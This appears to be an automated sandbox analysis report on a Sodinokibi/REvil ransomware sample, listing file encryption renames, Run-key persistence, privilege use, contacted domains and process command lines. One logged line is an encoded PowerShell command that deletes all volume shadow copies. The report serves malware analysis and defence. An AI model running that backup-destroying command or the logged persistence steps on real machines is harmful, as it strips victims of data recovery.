Analysis Overview
SHA256
c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd
Threat Level: Known bad
The file c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd was found to be: Known bad.
Malicious Activity Summary
Sodinokibi family
Sodin,Sodinokibi,REvil
Modifies extensions of user files
Enumerates connected drives
Adds Run key to start application
Sets desktop wallpaper using registry
Drops file in Program Files directory
Modifies system certificate store
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-01-24 01:08
Signatures
Sodinokibi family
Analysis: behavioral1
Detonation Overview
Submitted
2022-01-24 01:08
Reported
2022-01-24 01:25
Platform
win7-en-20211208
Max time kernel
131s
Max time network
151s
Command Line
Signatures
Sodin,Sodinokibi,REvil
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File renamed | C:\Users\Admin\Pictures\CheckpointResume.crw => \??\c:\users\admin\pictures\CheckpointResume.crw.5z3k8w | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\CompareImport.raw => \??\c:\users\admin\pictures\CompareImport.raw.5z3k8w | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\RevokeFind.crw => \??\c:\users\admin\pictures\RevokeFind.crw.5z3k8w | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\SearchMove.png => \??\c:\users\admin\pictures\SearchMove.png.5z3k8w | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\UndoNew.tif => \??\c:\users\admin\pictures\UndoNew.tif.5z3k8w | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\JoinAdd.raw => \??\c:\users\admin\pictures\JoinAdd.raw.5z3k8w | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ReadWatch.raw => \??\c:\users\admin\pictures\ReadWatch.raw.5z3k8w | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\CheckpointOpen.png => \??\c:\users\admin\pictures\CheckpointOpen.png.5z3k8w | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ConvertFromPing.crw => \??\c:\users\admin\pictures\ConvertFromPing.crw.5z3k8w | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ConvertFromSet.raw => \??\c:\users\admin\pictures\ConvertFromSet.raw.5z3k8w | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\CopyUndo.crw => \??\c:\users\admin\pictures\CopyUndo.crw.5z3k8w | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\DisableSplit.crw => \??\c:\users\admin\pictures\DisableSplit.crw.5z3k8w | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\BV7BRrErOX = "C:\\Users\\Admin\\AppData\\Local\\Temp\\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe" | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
Enumerates connected drives
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ho682g9fni.bmp" | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
Drops file in Program Files directory
Modifies system certificate store
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 524 wrote to memory of 544 | N/A | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 524 wrote to memory of 544 | N/A | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 524 wrote to memory of 544 | N/A | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 524 wrote to memory of 544 | N/A | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe
"C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | firstpaymentservices.com | udp |
| US | 144.202.62.148:443 | firstpaymentservices.com | tcp |
| US | 144.202.62.148:443 | firstpaymentservices.com | tcp |
| US | 8.8.8.8:53 | krcove-zily.eu | udp |
| SK | 109.74.144.58:443 | krcove-zily.eu | tcp |
| SK | 109.74.144.58:443 | krcove-zily.eu | tcp |
| US | 8.8.8.8:53 | softsproductkey.com | udp |
| US | 8.8.8.8:53 | naturavetal.hr | udp |
| DE | 78.46.2.139:443 | naturavetal.hr | tcp |
| US | 8.8.8.8:53 | www.naturavetal.hr | udp |
| DE | 78.46.2.139:443 | www.naturavetal.hr | tcp |
| DE | 78.46.2.139:443 | www.naturavetal.hr | tcp |
| US | 8.8.8.8:53 | corelifenutrition.com | udp |
| US | 104.21.47.29:443 | corelifenutrition.com | tcp |
| US | 8.8.8.8:53 | leda-ukraine.com.ua | udp |
| US | 8.8.8.8:53 | beaconhealthsystem.org | udp |
| US | 151.101.194.228:443 | beaconhealthsystem.org | tcp |
| US | 151.101.194.228:443 | beaconhealthsystem.org | tcp |
| US | 8.8.8.8:53 | acomprarseguidores.com | udp |
| US | 172.67.174.59:443 | acomprarseguidores.com | tcp |
| US | 8.8.8.8:53 | extraordinaryoutdoors.com | udp |
| US | 162.255.119.104:443 | extraordinaryoutdoors.com | tcp |
| US | 8.8.8.8:53 | mardenherefordshire-pc.gov.uk | udp |
| GB | 213.175.196.2:443 | mardenherefordshire-pc.gov.uk | tcp |
| GB | 213.175.196.2:443 | mardenherefordshire-pc.gov.uk | tcp |
| US | 8.8.8.8:53 | stopilhan.com | udp |
| US | 52.71.57.184:443 | stopilhan.com | tcp |
Files
memory/524-54-0x00000000751B1000-0x00000000751B3000-memory.dmp
memory/544-55-0x000007FEFB591000-0x000007FEFB593000-memory.dmp
memory/544-56-0x000007FEF2660000-0x000007FEF31BD000-memory.dmp
memory/544-57-0x000000001B7E0000-0x000000001BADF000-memory.dmp
memory/544-58-0x00000000029A4000-0x00000000029A7000-memory.dmp
memory/544-59-0x00000000029AB000-0x00000000029CA000-memory.dmp
memory/524-61-0x0000000000E60000-0x0000000000E85000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-01-24 01:08
Reported
2022-01-24 01:25
Platform
win10-en-20211208
Max time kernel
165s
Max time network
146s
Command Line
Signatures
Sodin,Sodinokibi,REvil
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File renamed | C:\Users\Admin\Pictures\DisconnectAssert.tif => \??\c:\users\admin\pictures\DisconnectAssert.tif.gp7481gi | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\RequestRename.tif => \??\c:\users\admin\pictures\RequestRename.tif.gp7481gi | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\BlockExport.crw => \??\c:\users\admin\pictures\BlockExport.crw.gp7481gi | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\CheckpointFind.raw => \??\c:\users\admin\pictures\CheckpointFind.raw.gp7481gi | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\CompressStep.raw => \??\c:\users\admin\pictures\CompressStep.raw.gp7481gi | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\BV7BRrErOX = "C:\\Users\\Admin\\AppData\\Local\\Temp\\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe" | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
Enumerates connected drives
Drops file in Program Files directory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2692 wrote to memory of 736 | N/A | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2692 wrote to memory of 736 | N/A | C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe
"C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe"
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
Files
memory/736-119-0x0000027EAC9B0000-0x0000027EAC9D2000-memory.dmp
memory/736-122-0x0000027EC4CF0000-0x0000027EC4D66000-memory.dmp
memory/2692-134-0x0000000000D50000-0x0000000000D75000-memory.dmp